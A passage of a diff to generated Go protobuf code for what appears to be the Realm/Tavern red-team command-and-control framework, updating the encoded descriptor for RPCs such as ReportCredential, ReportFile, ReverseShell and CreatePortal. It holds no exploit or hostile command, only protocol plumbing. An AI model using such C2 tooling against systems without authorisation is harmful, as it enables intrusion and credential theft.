0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x34, 0x0a, 0x0c, 0x74, 0x61, 0x73, 0x6b, 0x5f, 0x63, - 0x6f, 0x6e, 0x74, 0x65, 0x78, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x0f, 0x2e, 0x63, - 0x32, 0x2e, 0x54, 0x61, 0x73, 0x6b, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x78, 0x74, 0x48, 0x00, 0x52, - 0x0b, 0x74, 0x61, 0x73, 0x6b, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x78, 0x74, 0x12, 0x44, 0x0a, 0x12, - 0x73, 0x68, 0x65, 0x6c, 0x6c, 0x5f, 0x74, 0x61, 0x73, 0x6b, 0x5f, 0x63, 0x6f, 0x6e, 0x74, 0x65, - 0x78, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x63, 0x32, 0x2e, 0x53, 0x68, - 0x65, 0x6c, 0x6c, 0x54, 0x61, 0x73, 0x6b, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x78, 0x74, 0x48, 0x00, - 0x52, 0x10, 0x73, 0x68, 0x65, 0x6c, 0x6c, 0x54, 0x61, 0x73, 0x6b, 0x43, 0x6f, 0x6e, 0x74, 0x65, - 0x78, 0x74, 0x12, 0x20, 0x0a, 0x04, 0x6d, 0x6f, 0x74, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, - 0x32, 0x0c, 0x2e, 0x70, 0x6f, 0x72, 0x74, 0x61, 0x6c, 0x2e, 0x4d, 0x6f, 0x74, 0x65, 0x52, 0x04, - 0x6d, 0x6f, 0x74, 0x65, 0x42, 0x09, 0x0a, 0x07, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x78, 0x74, 0x22, - 0x38, 0x0a, 0x14, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x50, 0x6f, 0x72, 0x74, 0x61, 0x6c, 0x52, - 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x20, 0x0a, 0x04, 0x6d, 0x6f, 0x74, 0x65, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x0c, 0x2e, 0x70, 0x6f, 0x72, 0x74, 0x61, 0x6c, 0x2e, 0x4d, - 0x6f, 0x74, 0x65, 0x52, 0x04, 0x6d, 0x6f, 0x74, 0x65, 0x2a, 0x70, 0x0a, 0x0e, 0x52, 0x65, 0x70, - 0x6f, 0x72, 0x74, 0x46, 0x69, 0x6c, 0x65, 0x4b, 0x69, 0x6e, 0x64, 0x12, 0x20, 0x0a, 0x1c, 0x52, - 0x45, 0x50, 0x4f, 0x52, 0x54, 0x5f, 0x46, 0x49, 0x4c, 0x45, 0x5f, 0x4b, 0x49, 0x4e, 0x44, 0x5f, - 0x55, 0x4e, 0x53, 0x50, 0x45, 0x43, 0x49, 0x46, 0x49, 0x45, 0x44, 0x10, 0x00, 0x12, 0x1b, 0x0a, - 0x17, 0x52, 0x45, 0x50, 0x4f, 0x52, 0x54, 0x5f, 0x46, 0x49, 0x4c, 0x45, 0x5f, 0x4b, 0x49, 0x4e, - 0x44, 0x5f, 0x4f, 0x4e, 0x44, 0x49, 0x53, 0x4b, 0x10, 0x01, 0x12, 0x1f, 0x0a, 0x1b, 0x52, 0x45, - 0x50, 0x4f, 0x52, 0x54, 0x5f, 0x46, 0x49, 0x4c, 0x45, 0x5f, 0x4b, 0x49, 0x4e, 0x44, 0x5f, 0x53, - 0x43, 0x52, 0x45, 0x45, 0x4e, 0x53, 0x48, 0x4f, 0x54, 0x10, 0x02, 0x2a, 0x8f, 0x01, 0x0a, 0x17, - 0x52, 0x65, 0x76, 0x65, 0x72, 0x73, 0x65, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x4d, 0x65, 0x73, 0x73, - 0x61, 0x67, 0x65, 0x4b, 0x69, 0x6e, 0x64, 0x12, 0x2a, 0x0a, 0x26, 0x52, 0x45, 0x56, 0x45, 0x52, - 0x53, 0x45, 0x5f, 0x53, 0x48, 0x45, 0x4c, 0x4c, 0x5f, 0x4d, 0x45, 0x53, 0x53, 0x41, 0x47, 0x45, - 0x5f, 0x4b, 0x49, 0x4e, 0x44, 0x5f, 0x55, 0x4e, 0x53, 0x50, 0x45, 0x43, 0x49, 0x46, 0x49, 0x45, - 0x44, 0x10, 0x00, 0x12, 0x23, 0x0a, 0x1f, 0x52, 0x45, 0x56, 0x45, 0x52, 0x53, 0x45, 0x5f, 0x53, - 0x48, 0x45, 0x4c, 0x4c, 0x5f, 0x4d, 0x45, 0x53, 0x53, 0x41, 0x47, 0x45, 0x5f, 0x4b, 0x49, 0x4e, - 0x44, 0x5f, 0x44, 0x41, 0x54, 0x41, 0x10, 0x01, 0x12, 0x23, 0x0a, 0x1f, 0x52, 0x45, 0x56, 0x45, - 0x52, 0x53, 0x45, 0x5f, 0x53, 0x48, 0x45, 0x4c, 0x4c, 0x5f, 0x4d, 0x45, 0x53, 0x53, 0x41, 0x47, - 0x45, 0x5f, 0x4b, 0x49, 0x4e, 0x44, 0x5f, 0x50, 0x49, 0x4e, 0x47, 0x10, 0x02, 0x32, 0xb9, 0x04, - 0x0a, 0x02, 0x43, 0x32, 0x12, 0x3d, 0x0a, 0x0a, 0x43, 0x6c, 0x61, 0x69, 0x6d, 0x54, 0x61, 0x73, - 0x6b, 0x73, 0x12, 0x15, 0x2e, 0x63, 0x32, 0x2e, 0x43, 0x6c, 0x61, 0x69, 0x6d, 0x54, 0x61, 0x73, - 0x6b, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x63, 0x32, 0x2e, 0x43, - 0x6c, 0x61, 0x69, 0x6d, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, - 0x65, 0x22, 0x00, 0x12, 0x3d, 0x0a, 0x0a, 0x46, 0x65, 0x74, 0x63, 0x68, 0x41, 0x73, 0x73, 0x65, - 0x74, 0x12, 0x15, 0x2e, 0x63, 0x32, 0x2e, 0x46, 0x65, 0x74, 0x63, 0x68, 0x41, 0x73, 0x73, 0x65, - 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x63, 0x32, 0x2e, 0x46, 0x65, - 0x74, 0x63, 0x68, 0x41, 0x73, 0x73, 0x65, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, - 0x30, 0x01, 0x12, 0x4d, 0x0a, 0x10, 0x52, 0x65, 0x70, 0x6f, 0x72, 0x74, 0x43, 0x72, 0x65, 0x64, - 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x12, 0x1b, 0x2e, 0x63, 0x32, 0x2e, 0x52, 0x65, 0x70, 0x6f, - 0x72, 0x74, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, 0x63, 0x32, 0x2e, 0x52, 0x65, 0x70, 0x6f, 0x72, 0x74, 0x43, - 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, - 0x65, 0x12, 0x3d, 0x0a, 0x0a, 0x52, 0x65, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x69, 0x6c, 0x65, 0x12, - 0x15, 0x2e, 0x63, 0x32, 0x2e, 0x52, 0x65, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x69, 0x6c, 0x65, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x63, 0x32, 0x2e, 0x52, 0x65, 0x70, 0x6f, - 0x72, 0x74, 0x46, 0x69, 0x6c, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x28, 0x01, - 0x12, 0x50, 0x0a, 0x11, 0x52, 0x65, 0x70, 0x6f, 0x72, 0x74, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, - 0x73, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x1c, 0x2e, 0x63, 0x32, 0x2e, 0x52, 0x65, 0x70, 0x6f, 0x72, - 0x74, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x1a, 0x1d, 0x2e, 0x63, 0x32, 0x2e, 0x52, 0x65, 0x70, 0x6f, 0x72, 0x74, 0x50, - 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, - 0x73, 0x65, 0x12, 0x43, 0x0a, 0x0c, 0x52, 0x65, 0x70, 0x6f, 0x72, 0x74, 0x4f, 0x75, 0x74, 0x70, - 0x75, 0x74, 0x12, 0x17, 0x2e, 0x63, 0x32, 0x2e, 0x52, 0x65, 0x70, 0x6f, 0x72, 0x74, 0x4f, 0x75, - 0x74, 0x70, 0x75, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x18, 0x2e, 0x63, 0x32, - 0x2e, 0x52, 0x65, 0x70, 0x6f, 0x72, 0x74, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x52, 0x65, 0x73, - 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x00, 0x12, 0x47, 0x0a, 0x0c, 0x52, 0x65, 0x76, 0x65, 0x72, - 0x73, 0x65, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x12, 0x17, 0x2e, 0x63, 0x32, 0x2e, 0x52, 0x65, 0x76, - 0x65, 0x72, 0x73, 0x65, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x1a, 0x18, 0x2e, 0x63, 0x32, 0x2e, 0x52, 0x65, 0x76, 0x65, 0x72, 0x73, 0x65, 0x53, 0x68, 0x65, - 0x6c, 0x6c, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x00, 0x28, 0x01, 0x30, 0x01, - 0x12, 0x47, 0x0a, 0x0c, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x50, 0x6f, 0x72, 0x74, 0x61, 0x6c, - 0x12, 0x17, 0x2e, 0x63, 0x32, 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x50, 0x6f, 0x72, 0x74, - 0x61, 0x6c, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x18, 0x2e, 0x63, 0x32, 0x2e, 0x43, + 0x6c, 0x6c, 0x54, 0x61, 0x73, 0x6b, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x78, 0x74, 0x12, 0x2f, 0x0a, + 0x04, 0x6b, 0x69, 0x6e, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1b, 0x2e, 0x63, 0x32, + 0x2e, 0x52, 0x65, 0x76, 0x65, 0x72, 0x73, 0x65, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x4d, 0x65, 0x73, + 0x73, 0x61, 0x67, 0x65, 0x4b, 0x69, 0x6e, 0x64, 0x52, 0x04, 0x6b, 0x69, 0x6e, 0x64, 0x12, 0x12, + 0x0a, 0x04, 0x64, 0x61, 0x74, 0x61, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x64, 0x61, + 0x74, 0x61, 0x42, 0x09, 0x0a, 0x07, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x78, 0x74, 0x22, 0x5b, 0x0a, + 0x14, 0x52, 0x65, 0x76, 0x65, 0x72, 0x73, 0x65, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x52, 0x65, 0x73, + 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x2f, 0x0a, 0x04, 0x6b, 0x69, 0x6e, 0x64, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x0e, 0x32, 0x1b, 0x2e, 0x63, 0x32, 0x2e, 0x52, 0x65, 0x76, 0x65, 0x72, 0x73, 0x65, + 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x4d, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x4b, 0x69, 0x6e, 0x64, + 0x52, 0x04, 0x6b, 0x69, 0x6e, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x64, 0x61, 0x74, 0x61, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x64, 0x61, 0x74, 0x61, 0x22, 0xbe, 0x01, 0x0a, 0x13, 0x43, + 0x72, 0x65, 0x61, 0x74, 0x65, 0x50, 0x6f, 0x72, 0x74, 0x61, 0x6c, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x12, 0x34, 0x0a, 0x0c, 0x74, 0x61, 0x73, 0x6b, 0x5f, 0x63, 0x6f, 0x6e, 0x74, 0x65, + 0x78, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x0f, 0x2e, 0x63, 0x32, 0x2e, 0x54, 0x61, + 0x73, 0x6b, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x78, 0x74, 0x48, 0x00, 0x52, 0x0b, 0x74, 0x61, 0x73, + 0x6b, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x78, 0x74, 0x12, 0x44, 0x0a, 0x12, 0x73, 0x68, 0x65, 0x6c, + 0x6c, 0x5f, 0x74, 0x61, 0x73, 0x6b, 0x5f, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x78, 0x74, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x63, 0x32, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x54, + 0x61, 0x73, 0x6b, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x78, 0x74, 0x48, 0x00, 0x52, 0x10, 0x73, 0x68, + 0x65, 0x6c, 0x6c, 0x54, 0x61, 0x73, 0x6b, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x78, 0x74, 0x12, 0x20, + 0x0a, 0x04, 0x6d, 0x6f, 0x74, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x0c, 0x2e, 0x70, + 0x6f, 0x72, 0x74, 0x61, 0x6c, 0x2e, 0x4d, 0x6f, 0x74, 0x65, 0x52, 0x04, 0x6d, 0x6f, 0x74, 0x65, + 0x42, 0x09, 0x0a, 0x07, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x78, 0x74, 0x22, 0x38, 0x0a, 0x14, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x50, 0x6f, 0x72, 0x74, 0x61, 0x6c, 0x52, 0x65, 0x73, 0x70, 0x6f, - 0x6e, 0x73, 0x65, 0x22, 0x00, 0x28, 0x01, 0x30, 0x01, 0x42, 0x23, 0x5a, 0x21, 0x72, 0x65, 0x61, - 0x6c, 0x6d, 0x2e, 0x70, 0x75, 0x62, 0x2f, 0x74, 0x61, 0x76, 0x65, 0x72, 0x6e, 0x2f, 0x69, 0x6e, - 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x2f, 0x63, 0x32, 0x2f, 0x63, 0x32, 0x70, 0x62, 0x62, 0x06, - 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, -} + 0x6e, 0x73, 0x65, 0x12, 0x20, 0x0a, 0x04, 0x6d, 0x6f, 0x74, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x0c, 0x2e, 0x70, 0x6f, 0x72, 0x74, 0x61, 0x6c, 0x2e, 0x4d, 0x6f, 0x74, 0x65, 0x52, + 0x04, 0x6d, 0x6f, 0x74, 0x65, 0x2a, 0x70, 0x0a, 0x0e, 0x52, 0x65, 0x70, 0x6f, 0x72, 0x74, 0x46, + 0x69, 0x6c, 0x65, 0x4b, 0x69, 0x6e, 0x64, 0x12, 0x20, 0x0a, 0x1c, 0x52, 0x45, 0x50, 0x4f, 0x52, + 0x54, 0x5f, 0x46, 0x49, 0x4c, 0x45, 0x5f, 0x4b, 0x49, 0x4e, 0x44, 0x5f, 0x55, 0x4e, 0x53, 0x50, + 0x45, 0x43, 0x49, 0x46, 0x49, 0x45, 0x44, 0x10, 0x00, 0x12, 0x1b, 0x0a, 0x17, 0x52, 0x45, 0x50, + 0x4f, 0x52, 0x54, 0x5f, 0x46, 0x49, 0x4c, 0x45, 0x5f, 0x4b, 0x49, 0x4e, 0x44, 0x5f, 0x4f, 0x4e, + 0x44, 0x49, 0x53, 0x4b, 0x10, 0x01, 0x12, 0x1f, 0x0a, 0x1b, 0x52, 0x45, 0x50, 0x4f, 0x52, 0x54, + 0x5f, 0x46, 0x49, 0x4c, 0x45, 0x5f, 0x4b, 0x49, 0x4e, 0x44, 0x5f, 0x53, 0x43, 0x52, 0x45, 0x45, + 0x4e, 0x53, 0x48, 0x4f, 0x54, 0x10, 0x02, 0x2a, 0x8f, 0x01, 0x0a, 0x17, 0x52, 0x65, 0x76, 0x65, + 0x72, 0x73, 0x65, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x4d, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x4b, + 0x69, 0x6e, 0x64, 0x12, 0x2a, 0x0a, 0x26, 0x52, 0x45, 0x56, 0x45, 0x52, 0x53, 0x45, 0x5f, 0x53, + 0x48, 0x45, 0x4c, 0x4c, 0x5f, 0x4d, 0x45, 0x53, 0x53, 0x41, 0x47, 0x45, 0x5f, 0x4b, 0x49, 0x4e, + 0x44, 0x5f, 0x55, 0x4e, 0x53, 0x50, 0x45, 0x43, 0x49, 0x46, 0x49, 0x45, 0x44, 0x10, 0x00, 0x12, + 0x23, 0x0a, 0x1f, 0x52, 0x45, 0x56, 0x45, 0x52, 0x53, 0x45, 0x5f, 0x53, 0x48, 0x45, 0x4c, 0x4c, + 0x5f, 0x4d, 0x45, 0x53, 0x53, 0x41, 0x47, 0x45, 0x5f, 0x4b, 0x49, 0x4e, 0x44, 0x5f, 0x44, 0x41, + 0x54, 0x41, 0x10, 0x01, 0x12, 0x23, 0x0a, 0x1f, 0x52, 0x45, 0x56, 0x45, 0x52, 0x53, 0x45, 0x5f, + 0x53, 0x48, 0x45, 0x4c, 0x4c, 0x5f, 0x4d, 0x45, 0x53, 0x53, 0x41, 0x47, 0x45, 0x5f, 0x4b, 0x49, + 0x4e, 0x44, 0x5f, 0x50, 0x49, 0x4e, 0x47, 0x10, 0x02, 0x32, 0xb9, 0x04, 0x0a, 0x02, 0x43, 0x32, + 0x12, 0x3d, 0x0a, 0x0a, 0x43, 0x6c, 0x61, 0x69, 0x6d, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x12, 0x15, + 0x2e, 0x63, 0x32, 0x2e, 0x43, 0x6c, 0x61, 0x69, 0x6d, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x63, 0x32, 0x2e, 0x43, 0x6c, 0x61, 0x69, 0x6d, + 0x54, 0x61, 0x73, 0x6b, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x00, 0x12, + 0x3d, 0x0a, 0x0a, 0x46, 0x65, 0x74, 0x63, 0x68, 0x41, 0x73, 0x73, 0x65, 0x74, 0x12, 0x15, 0x2e, + 0x63, 0x32, 0x2e, 0x46, 0x65, 0x74, 0x63, 0x68, 0x41, 0x73, 0x73, 0x65, 0x74, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x63, 0x32, 0x2e, 0x46, 0x65, 0x74, 0x63, 0x68, 0x41, + 0x73, 0x73, 0x65, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x30, 0x01, 0x12, 0x4d, + 0x0a, 0x10, 0x52, 0x65, 0x70, 0x6f, 0x72, 0x74, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, + 0x61, 0x6c, 0x12, 0x1b, 0x2e, 0x63, 0x32, 0x2e, 0x52, 0x65, 0x70, 0x6f, 0x72, 0x74, 0x43, 0x72, + 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, + 0x1c, 0x2e, 0x63, 0x32, 0x2e, 0x52, 0x65, 0x70, 0x6f, 0x72, 0x74, 0x43, 0x72, 0x65, 0x64, 0x65, + 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x3d, 0x0a, + 0x0a, 0x52, 0x65, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x69, 0x6c, 0x65, 0x12, 0x15, 0x2e, 0x63, 0x32, + 0x2e, 0x52, 0x65, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x69, 0x6c, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x63, 0x32, 0x2e, 0x52, 0x65, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x69, + 0x6c, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x28, 0x01, 0x12, 0x50, 0x0a, 0x11, + 0x52, 0x65, 0x70, 0x6f, 0x72, 0x74, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x4c, 0x69, 0x73, + 0x74, 0x12, 0x1c, 0x2e, 0x63, 0x32, 0x2e, 0x52, 0x65, 0x70, 0x6f, 0x72, 0x74, 0x50, 0x72, 0x6f, + 0x63, 0x65, 0x73, 0x73, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, + 0x1d, 0x2e, 0x63, 0x32, 0x2e, 0x52, 0x65, 0x70, 0x6f, 0x72, 0x74, 0x50, 0x72, 0x6f, 0x63, 0x65, + 0x73, 0x73, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x43, + 0x0a, 0x0c, 0x52, 0x65, 0x70, 0x6f, 0x72, 0x74, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x12, 0x17, + 0x2e, 0x63, 0x32, 0x2e, 0x52, 0x65, 0x70, 0x6f, 0x72, 0x74, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x18, 0x2e, 0x63, 0x32, 0x2e, 0x52, 0x65, 0x70, + 0x6f, 0x72, 0x74, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, + 0x65, 0x22, 0x00, 0x12, 0x47, 0x0a, 0x0c, 0x52, 0x65, 0x76, 0x65, 0x72, 0x73, 0x65, 0x53, 0x68, + 0x65, 0x6c, 0x6c, 0x12, 0x17, 0x2e, 0x63, 0x32, 0x2e, 0x52, 0x65, 0x76, 0x65, 0x72, 0x73, 0x65, + 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x18, 0x2e, 0x63, + 0x32, 0x2e, 0x52, 0x65, 0x76, 0x65, 0x72, 0x73, 0x65, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x52, 0x65, + 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x00, 0x28, 0x01, 0x30, 0x01, 0x12, 0x47, 0x0a, 0x0c, + 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x50, 0x6f, 0x72, 0x74, 0x61, 0x6c, 0x12, 0x17, 0x2e, 0x63, + 0x32, 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x50, 0x6f, 0x72, 0x74, 0x61, 0x6c, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x18, 0x2e, 0x63, 0x32, 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, + 0x65, 0x50, 0x6f, 0x72, 0x74, 0x61, 0x6c, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, + 0x00, 0x28, 0x01, 0x30, 0x01, 0x42, 0x23, 0x5a, 0x21, 0x72, 0x65, 0x61, 0x6c, 0x6d, 0x2e, 0x70, + 0x75, 0x62, 0x2f, 0x74, 0x61, 0x76, 0x65, 0x72, 0x6e, 0x2f, 0x69, 0x6e, 0x74, 0x65, 0x72, 0x6e, + 0x61, 0x6c, 0x2f, 0x63, 0x32, 0x2f, 0x63, 0x32, 0x70, 0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, + 0x6f, 0x33, +}) var ( file_c2_proto_rawDescOnce sync.Once - file_c2_proto_rawDescData = file_c2_proto_rawDesc + file_c2_proto_rawDescData []byte ) func file_c2_proto_rawDescGZIP() []byte { file_c2_proto_rawDescOnce.Do(func() { - file_c2_proto_rawDescData = protoimpl.X.CompressGZIP(file_c2_proto_rawDescData) + file_c2_proto_rawDescData = protoimpl.X.CompressGZIP(unsafe.Slice(unsafe.StringData(file_c2_proto_rawDesc), len(file_c2_proto_rawDesc))) }) return file_c2_proto_rawDescData } var file_c2_proto_enumTypes = make([]protoimpl.EnumInfo, 4) var file_c2_proto_msgTypes = make([]protoimpl.MessageInfo, 31) -var file_c2_proto_goTypes = []interface{}{ +var file_c2_proto_goTypes = []any{ (ReportFileKind)(0), // 0: c2.ReportFileKind (ReverseShellMessageKind)(0), // 1: c2.ReverseShellMessageKind (Transport_Type)(0), // 2: c2.Transport.Type @@ -2673,405 +2622,31 @@ func file_c2_proto_init() { if File_c2_proto != nil { return } - if !protoimpl.UnsafeEnabled { - file_c2_proto_msgTypes[0].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Agent); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_c2_proto_msgTypes[1].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Transport); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_c2_proto_msgTypes[2].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*AvailableTransports); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_c2_proto_msgTypes[3].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Beacon); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_c2_proto_msgTypes[4].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Host); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_c2_proto_msgTypes[5].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Task); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_c2_proto_msgTypes[6].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ShellTask); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_c2_proto_msgTypes[7].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*TaskError); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_c2_proto_msgTypes[8].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*TaskOutput); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_c2_proto_msgTypes[9].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ShellTaskError); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_c2_proto_msgTypes[10].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ShellTaskOutput); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_c2_proto_msgTypes[11].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*TaskContext); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_c2_proto_msgTypes[12].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ShellTaskContext); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_c2_proto_msgTypes[13].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ClaimTasksRequest); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_c2_proto_msgTypes[14].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ClaimTasksResponse); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_c2_proto_msgTypes[15].Exporter = func(v 